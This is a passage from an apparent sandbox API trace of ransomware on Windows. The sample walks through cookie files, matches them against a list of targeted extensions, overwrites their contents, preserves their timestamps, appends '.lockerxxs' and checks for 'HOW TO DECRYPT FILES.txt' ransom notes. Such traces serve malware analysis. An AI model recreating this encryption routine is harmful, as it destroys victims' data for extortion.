(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qby") returned 0 [0088.316] lstrlenA (lpString="*.qby") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qbj") returned 0 [0088.316] lstrlenA (lpString="*.qbj") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.ofx") returned 0 [0088.316] lstrlenA (lpString="*.ofx") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qif") returned 0 [0088.317] lstrlenA (lpString="*.qif") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.mye") returned 0 [0088.317] lstrlenA (lpString="*.mye") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.mbox") returned 0 [0088.317] lstrlenA (lpString="*.mbox") returned 6 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.eml") returned 0 [0088.317] lstrlenA (lpString="*.eml") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.pst") returned 0 [0088.317] lstrlenA (lpString="*.pst") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.ost") returned 0 [0088.317] lstrlenA (lpString="*.ost") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.idx") returned 0 [0088.317] lstrlenA (lpString="*.idx") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.dbx") returned 0 [0088.317] lstrlenA (lpString="*.dbx") returned 5 [0088.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.sql") returned 0 [0088.317] lstrlenA (lpString="*.sql") returned 5 [0088.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.mdb") returned 0 [0088.318] lstrlenA (lpString="*.mdb") returned 5 [0088.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.fdb") returned 0 [0088.318] lstrlenA (lpString="*.fdb") returned 5 [0088.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.wab") returned 0 [0088.318] lstrlenA (lpString="*.wab") returned 5 [0088.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.dat") returned 0 [0088.318] lstrlenA (lpString="*.dat") returned 5 [0088.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.txt") returned 1 [0088.318] lstrlenA (lpString="*.txt") returned 5 [0088.318] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" [0088.318] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" [0088.318] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt." [0088.318] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.lockerxxs" [0088.318] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.320] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6f [0088.320] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1e658910, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x1e658910, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1e658910, dwHighDateTime=0x1d35d06)) returned 1 [0088.320] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.320] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x49, lpOverlapped=0x0) returned 1 [0088.322] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" [0088.322] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.322] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x49, lpOverlapped=0x0) returned 1 [0088.322] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.322] CloseHandle (hObject=0x98) returned 1 [0088.322] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.lockerxxs")) returned 1 [0088.324] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1dcf9270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@everesttech[1].txt", cAlternateFileName="5P5NRG~4.TXT")) returned 1 [0088.325] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.325] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned 1 [0088.325] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned 1 [0088.325] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned -1 [0088.325] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" [0088.325] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.325] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.325] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.325] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.325] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@everesttech[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" [0088.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.ems") returned 0 [0088.325] lstrlenA (lpString="*.ems") returned 5 [0088.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.db") returned 0 [0088.325] lstrlenA (lpString="*.db") returned 4 [0088.325] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.dbf") returned 0 [0088.325] lstrlenA (lpString="*.dbf") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.myox") returned 0 [0088.326] lstrlenA (lpString="*.myox") returned 6 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.myo") returned 0 [0088.326] lstrlenA (lpString="*.myo") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qbw") returned 0 [0088.326] lstrlenA (lpString="*.qbw") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qbb") returned 0 [0088.326] lstrlenA (lpString="*.qbb") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qbm") returned 0 [0088.326] lstrlenA (lpString="*.qbm") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qbo") returned 0 [0088.326] lstrlenA (lpString="*.qbo") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qbx") returned 0 [0088.326] lstrlenA (lpString="*.qbx") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qba") returned 0 [0088.326] lstrlenA (lpString="*.qba") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qby") returned 0 [0088.326] lstrlenA (lpString="*.qby") returned 5 [0088.326] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qbj") returned 0 [0088.327] lstrlenA (lpString="*.qbj") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.ofx") returned 0 [0088.327] lstrlenA (lpString="*.ofx") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.qif") returned 0 [0088.327] lstrlenA (lpString="*.qif") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.mye") returned 0 [0088.327] lstrlenA (lpString="*.mye") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.mbox") returned 0 [0088.327] lstrlenA (lpString="*.mbox") returned 6 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.eml") returned 0 [0088.327] lstrlenA (lpString="*.eml") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.pst") returned 0 [0088.327] lstrlenA (lpString="*.pst") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.ost") returned 0 [0088.327] lstrlenA (lpString="*.ost") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.idx") returned 0 [0088.327] lstrlenA (lpString="*.idx") returned 5 [0088.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.dbx") returned 0 [0088.327] lstrlenA (lpString="*.dbx") returned 5 [0088.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.sql") returned 0 [0088.328] lstrlenA (lpString="*.sql") returned 5 [0088.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.mdb") returned 0 [0088.328] lstrlenA (lpString="*.mdb") returned 5 [0088.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.fdb") returned 0 [0088.328] lstrlenA (lpString="*.fdb") returned 5 [0088.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.wab") returned 0 [0088.328] lstrlenA (lpString="*.wab") returned 5 [0088.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.dat") returned 0 [0088.328] lstrlenA (lpString="*.dat") returned 5 [0088.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", pszSpec="*.txt") returned 1 [0088.328] lstrlenA (lpString="*.txt") returned 5 [0088.328] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" [0088.328] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" [0088.328] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt." [0088.328] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.lockerxxs" [0088.329] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.330] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6e [0088.330] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1dcf9270, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x1dcf9270, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1dcf9270, dwHighDateTime=0x1d35d06)) returned 1 [0088.330] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.330] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x48, lpOverlapped=0x0) returned 1 [0088.332] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned="5p5nrgjn0js_halpmcxz@everesttech[1].txt" [0088.332] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.332] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x48, lpOverlapped=0x0) returned 1 [0088.332] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.332] CloseHandle (hObject=0x98) returned 1 [0088.333] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.lockerxxs")) returned 1 [0088.334] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86af2d0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@google[2].txt", cAlternateFileName="5P5NRG~2.TXT")) returned 1 [0088.334] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.334] lstrcmpiA (lpString1="ÊÀÊ 